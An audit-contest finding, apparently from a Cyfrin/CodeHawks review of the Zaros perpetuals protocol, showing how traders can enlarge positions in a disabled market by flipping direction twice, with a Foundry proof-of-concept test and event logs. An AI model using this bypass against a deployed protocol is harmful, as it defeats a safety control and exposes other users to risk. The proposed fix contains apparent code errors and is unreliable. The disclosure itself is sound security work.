Zaros Part 1
Zaros
DeFiFoundry
60,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Even if the market is disabled, traders can still increase their positions by changing the direction of their positions twice.

shaflow01

Summary

When the market is disabled, increasing the size of existing positions is prohibited.But due to the implementation issue of the isIncreasing function, if the position direction changes, it will be considered a position reduction. Therefore, traders can further increase their positions when the market is disabled by changing the position direction twice.

Vulnerability Details

When the market is disabled, increasing the size of existing positions is prohibited.

https://github.com/Cyfrin/2024-07-zaros/blob/d687fe96bb7ace8652778797052a38763fbcbb1b/src/perpetuals/branches/OrderBranch.sol#L264

// both markets and settlement can be disabled, however when this happens we want to:
// 1) allow open positions not subject to liquidation to decrease their size or close
// 2) prevent new positions from being opened & existing positions being increased
//
// the idea is to prevent a state where traders have open positions but are unable
// to reduce size or close even though they can still be liquidated; such a state
// would severly disadvantage traders
if (ctx.isIncreasing) {
// both checks revert if disabled
globalConfiguration.checkMarketIsEnabled(params.marketId);
settlementConfiguration.checkIsSettlementEnabled();
}

But due to the implementation issue of the isIncreasing function, if the position direction changes, it will be considered a position reduction.

https://github.com/Cyfrin/2024-07-zaros/blob/d687fe96bb7ace8652778797052a38763fbcbb1b/src/perpetuals/leaves/Position.sol#L155

function isIncreasing(
uint128 tradingAccountId,
uint128 marketId,
int128 sizeDelta
)
internal
view
returns (bool)
{
Data storage self = Position.load(tradingAccountId, marketId);
​
// If position is being opened (size is 0) or if position is being increased (sizeDelta direction is same as
// position size)
// For a positive position, sizeDelta should be positive to increase, and for a negative position, sizeDelta
// should be negative to increase.
// This also implicitly covers the case where if it's a new position (size is 0), it's considered an increase.
return self.size == 0 || (self.size > 0 && sizeDelta > 0) || (self.size < 0 && sizeDelta < 0);
}

Therefore, traders can further increase their positions when the market is disabled by changing the position direction twice.

Consider the following scenario:

  1. Bob opens a short position of size 1e17 before the market is disabled.

  2. After the market is disabled, Bob first adjusts his position to a long position of size 1e17, and then adjusts it to a short position of size 3e17. In this way, he increases his position.

Here is the simulated Proof of Concept (POC):

To run the test function, please add it to performUpkeep.t.sol.

function test_IncressPosition() external givenInitializeContract {
uint256 initialMarginRate = 8217;
uint256 marginValueUsd =
13_253_914_045_971_528_446_902_025_648_670_080_298_521_971_387_101_561_427_594_888_947_150_272_593_920;
bool isLong = false;
uint256 marketId = 3825;
changePrank({ msgSender: users.naruto.account });
​
MarketConfig memory fuzzMarketConfig = getFuzzMarketConfig(marketId);
​
initialMarginRate = bound({ x: initialMarginRate, min: fuzzMarketConfig.imr, max: MAX_MARGIN_REQUIREMENTS });
​
marginValueUsd = bound({
x: marginValueUsd,
min: USDC_MIN_DEPOSIT_MARGIN,
max: convertUd60x18ToTokenAmount(address(usdc), USDC_DEPOSIT_CAP_X18)
});
deal({ token: address(usdc), to: users.naruto.account, give: marginValueUsd });
​
uint128 tradingAccountId = createAccountAndDeposit(marginValueUsd, address(usdc));
int128 sizeDelta = fuzzOrderSizeDelta(
FuzzOrderSizeDeltaParams({
tradingAccountId: tradingAccountId,
marketId: fuzzMarketConfig.marketId,
settlementConfigurationId: SettlementConfiguration.MARKET_ORDER_CONFIGURATION_ID,
initialMarginRate: ud60x18(initialMarginRate),
marginValueUsd: ud60x18(marginValueUsd),
maxSkew: ud60x18(fuzzMarketConfig.maxSkew),
minTradeSize: ud60x18(fuzzMarketConfig.minTradeSize),
price: ud60x18(fuzzMarketConfig.mockUsdPrice),
isLong: isLong,
shouldDiscountFees: true
})
);
​
// 1. Bob Open a short position of size 1e17
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: tradingAccountId,
marketId: fuzzMarketConfig.marketId,
sizeDelta: sizeDelta
})
);
​
bytes memory mockSignedReport =
getMockedSignedReport(fuzzMarketConfig.streamId, fuzzMarketConfig.mockUsdPrice);
​
address marketOrderKeeper = marketOrderKeepers[fuzzMarketConfig.marketId];
​
changePrank({ msgSender: users.owner.account });
MarketOrderKeeper(marketOrderKeeper).setForwarder(users.keepersForwarder.account);
​
bytes memory performData = abi.encode(mockSignedReport, abi.encode(tradingAccountId));
​
UD60x18 firstFillPriceX18 =
perpsEngine.getMarkPrice(fuzzMarketConfig.marketId, fuzzMarketConfig.mockUsdPrice, sizeDelta);
​
(,,, UD60x18 firstOrderFeeUsdX18,,) = perpsEngine.simulateTrade(
tradingAccountId,
fuzzMarketConfig.marketId,
SettlementConfiguration.MARKET_ORDER_CONFIGURATION_ID,
sizeDelta
);
​
// it should emit {LogSettleOrder} event
vm.expectEmit({ emitter: address(perpsEngine) });
emit SettlementBranch.LogFillOrder(
marketOrderKeeper,
tradingAccountId,
fuzzMarketConfig.marketId,
sizeDelta,
firstFillPriceX18.intoUint256(),
firstOrderFeeUsdX18.intoUint256(),
DEFAULT_SETTLEMENT_FEE,
0,
0
);
​
changePrank({ msgSender: users.keepersForwarder.account });
MarketOrderKeeper(marketOrderKeeper).performUpkeep(performData);
​
// 2. the market is disable
changePrank({ msgSender: users.owner.account });
perpsEngine.updatePerpMarketStatus(uint128(5), false);
​
changePrank({ msgSender: users.naruto.account });
// 3. Bob firstly adjust his position to a long position of size 1e17
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: tradingAccountId,
marketId: 5,
sizeDelta: 200_000_000_000_000_000
})
);
​
sizeDelta = 200_000_000_000_000_000;
​
fuzzMarketConfig = getFuzzMarketConfig(uint128(5));
performData = abi.encode(mockSignedReport, abi.encode(tradingAccountId));
firstFillPriceX18 = perpsEngine.getMarkPrice(uint128(5), fuzzMarketConfig.mockUsdPrice, sizeDelta);
​
(,,, firstOrderFeeUsdX18,,) = perpsEngine.simulateTrade(
tradingAccountId,
fuzzMarketConfig.marketId,
SettlementConfiguration.MARKET_ORDER_CONFIGURATION_ID,
sizeDelta
);
​
changePrank({ msgSender: users.keepersForwarder.account });
MarketOrderKeeper(marketOrderKeeper).performUpkeep(performData);
​
changePrank({ msgSender: users.naruto.account });
// 3. Bob adjust his position to a short position of size 3e17, and his position size incress compare to before the market disable
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: tradingAccountId,
marketId: 5,
sizeDelta: -400_000_000_000_000_000
})
);
sizeDelta = -400_000_000_000_000_000;
​
fuzzMarketConfig = getFuzzMarketConfig(uint128(5));
performData = abi.encode(mockSignedReport, abi.encode(tradingAccountId));
firstFillPriceX18 = perpsEngine.getMarkPrice(uint128(5), fuzzMarketConfig.mockUsdPrice, sizeDelta);
​
(,,, firstOrderFeeUsdX18,,) = perpsEngine.simulateTrade(
tradingAccountId,
fuzzMarketConfig.marketId,
SettlementConfiguration.MARKET_ORDER_CONFIGURATION_ID,
sizeDelta
);
​
changePrank({ msgSender: users.keepersForwarder.account });
MarketOrderKeeper(marketOrderKeeper).performUpkeep(performData);
}

Below are some of the event logs:

​
​
│ │ │ │ ├─ emit LogFillOrder(sender: Market Order Keeper: [0x37E4cEABeBb298d965a1D971a08c66BA9562EcE8], tradingAccountId: 1, marketId: 5, sizeDelta: -100000000000000000 [-1e17], fillPrice: 599999999953888263900 [5.999e20], orderFeeUsd: 59999999995388826 [5.999e16], settlementFeeUsd: 2000000000000000000 [2e18], pnl: 0, fundingFeePerUnit: 0)
​
​
│ │ │ │ ├─ emit LogFillOrder(sender: Market Order Keeper: [0x37E4cEABeBb298d965a1D971a08c66BA9562EcE8], tradingAccountId: 1, marketId: 5, sizeDelta: 200000000000000000 [2e17], fillPrice: 600000000000000000000 [6e20], orderFeeUsd: 90000000000000000 [9e16], settlementFeeUsd: 2000000000000000000 [2e18], pnl: -4611173610 [-4.611e9], fundingFeePerUnit: 0)
​
│ │ │ │ ├─ emit LogFillOrder(sender: Market Order Keeper: [0x37E4cEABeBb298d965a1D971a08c66BA9562EcE8], tradingAccountId: 1, marketId: 5, sizeDelta: -400000000000000000 [-4e17], fillPrice: 599999999907776527200 [5.999e20], orderFeeUsd: 209999999967721784 [2.099e17], settlementFeeUsd: 2000000000000000000 [2e18], pnl: -9222347280 [-9.222e9], fundingFeePerUnit: 0)

Impact

In the case where the market is disabled, users can still change the direction of their positions and even increase their positions.

Tools Used

foundry,manual review

Recommendations

In the position contract, add a function to determine whether the position direction has changed.

function isRound(uint128 tradingAccountId, uint128 marketId, int128 sizeDelta) internal view return (bool) {
return load(tradingAccountId, marketId).size < sizeDelta ? true : false;
}

Then

+ bool isRound = position.isRound(params.tradingAccountId, params.marketId, params.sizeDelta);
// both markets and settlement can be disabled, however when this happens we want to:
// 1) allow open positions not subject to liquidation to decrease their size or close
// 2) prevent new positions from being opened & existing positions being increased
//
// the idea is to prevent a state where traders have open positions but are unable
// to reduce size or close even though they can still be liquidated; such a state
// would severly disadvantage traders
- if (ctx.isIncreasing) {
+ if (ctx.isIncreasing || isRound) {
// both checks revert if disabled
globalConfiguration.checkMarketIsEnabled(params.marketId);
settlementConfiguration.checkIsSettlementEnabled();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Disable market limitation can be bypassed

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.